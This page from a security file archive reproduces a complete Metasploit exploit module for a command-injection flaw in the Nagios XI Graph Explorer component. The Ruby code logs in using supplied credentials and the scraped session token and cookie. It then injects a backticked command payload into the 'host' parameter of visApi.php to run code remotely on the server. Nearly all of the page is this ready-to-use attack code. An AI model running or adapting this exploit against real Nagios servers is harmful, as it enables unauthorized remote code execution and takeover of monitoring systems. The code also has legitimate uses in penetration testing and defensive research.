exploit the possibilities

Nagios XI Network Monitor Graph Explorer Component Command Injection

Nagios XI Network Monitor Graph Explorer Component Command Injection
Posted Dec 9, 2012
Authored by sinn3r, Daniel Compton | Site metasploit.com

This Metasploit module exploits a vulnerability found in Nagios XI Network Monitor's component 'Graph Explorer'. An authenticated user can execute system commands by injecting it in several parameters, such as in visApi.php's 'host' parameter, which results in remote code execution.

tags | exploit, remote, php, code execution
advisories | OSVDB-83552
MD5 | 4dba1eaf8d7ba8ab035861a5c902e0d3

Nagios XI Network Monitor Graph Explorer Component Command Injection

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Nagios XI Network Monitor Graph Explorer Component Command Injection",
'Description' => %q{
This module exploits a vulnerability found in Nagios XI Network Monitor's
component 'Graph Explorer'. An authenticated user can execute system commands
by injecting it in several parameters, such as in visApi.php's 'host' parameter,
which results in remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Daniel Compton <daniel.compton[at]ngssecure.com>', #Original discovery
'sinn3r'
],
'References' =>
[
[ 'OSVDB', '83552' ],
[ 'BID', '54263' ],
[ 'URL', 'http://packetstormsecurity.org/files/118497/Nagios-XI-Network-Monitor-2011R1.9-OS-Command-Injection.html' ]
],
'Payload' =>
{
'BadChars' => "\x00\x0d\x0a",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python ruby bash telnet',
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['Graph Explorer Component prior to 1.3', {}]
],
'Privileged' => false,
'DisclosureDate' => "Nov 30 2012",
'DefaultTarget' => 0))

register_options(
[
# URI isn't registered, because this is set by the installer.
OptString.new('USERNAME', [true, 'The username to login as', 'nagiosadmin']),
OptString.new('PASSWORD', [true, 'The password to use'])
], self.class)
end


def check
res = send_request_raw({
'method' => 'GET',
'uri' => '/nagiosxi/includes/components/graphexplorer/visApi.php'
})

if res and res.code == 404
print_error("Remote host does not have Graph Explorer installed.")
elsif res and res.body =~ /Your session has timed out/
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Safe
end

def get_login_data
res = send_request_cgi({'uri'=>'/nagiosxi/login.php'})
return '' if !res

nsp = res.body.scan(/<input type='hidden' name='nsp' value='(.+)'>/).flatten[0] || ''
cookie = (res.headers['Set-Cookie'] || '').scan(/nagiosxi=(\w+); /).flatten[0] || ''
return nsp, cookie
end

def is_loggedin(cookie)
res = send_request_cgi({
'method' => 'GET',
'uri' => '/nagiosxi/index.php',
'cookie' => "nagiosxi=#{cookie}"
})

if res and res.body =~ /Logged in as: <a href=".+">#{datastore['USERNAME']}<\/a>/
return true
else
return false
end
end

def login(nsp, cookie)
res = send_request_cgi({
'method' => 'POST',
'uri' => '/nagiosxi/login.php',
'cookie' => "nagiosxi=#{cookie}",
'vars_post' => {
'nsp' => nsp,
'page' => 'auth',
'debug' => '',
'pageopt' => 'login',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'loginButton' => 'Login'
},
'headers' => {
'Origin' => "http://#{rhost}",
'Referer' => "http://#{rhost}/nagiosxi/login.php"
}
})

return is_loggedin(cookie)
end

def exploit
nsp, cookie = get_login_data
if nsp.empty?
print_error("Unable to retrieve hidden value 'nsp'")
return false
end

if login(nsp, cookie)
print_status("Logged in as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
else
print_error("Failed to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
return
end

print_status("Sending Command injection")
send_request_cgi({
'method' => 'GET',
'uri' => '/nagiosxi/includes/components/graphexplorer/visApi.php',
'cookie' => "nagiosxi=#{cookie}",
'vars_get' => {
'type' => 'stack',
'host' => "localhost`#{payload.encoded}`",
'service' => 'Swap_Usage',
'div' => 'visContainer1566841654',
'opt' => 'days'
}
})
end


end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close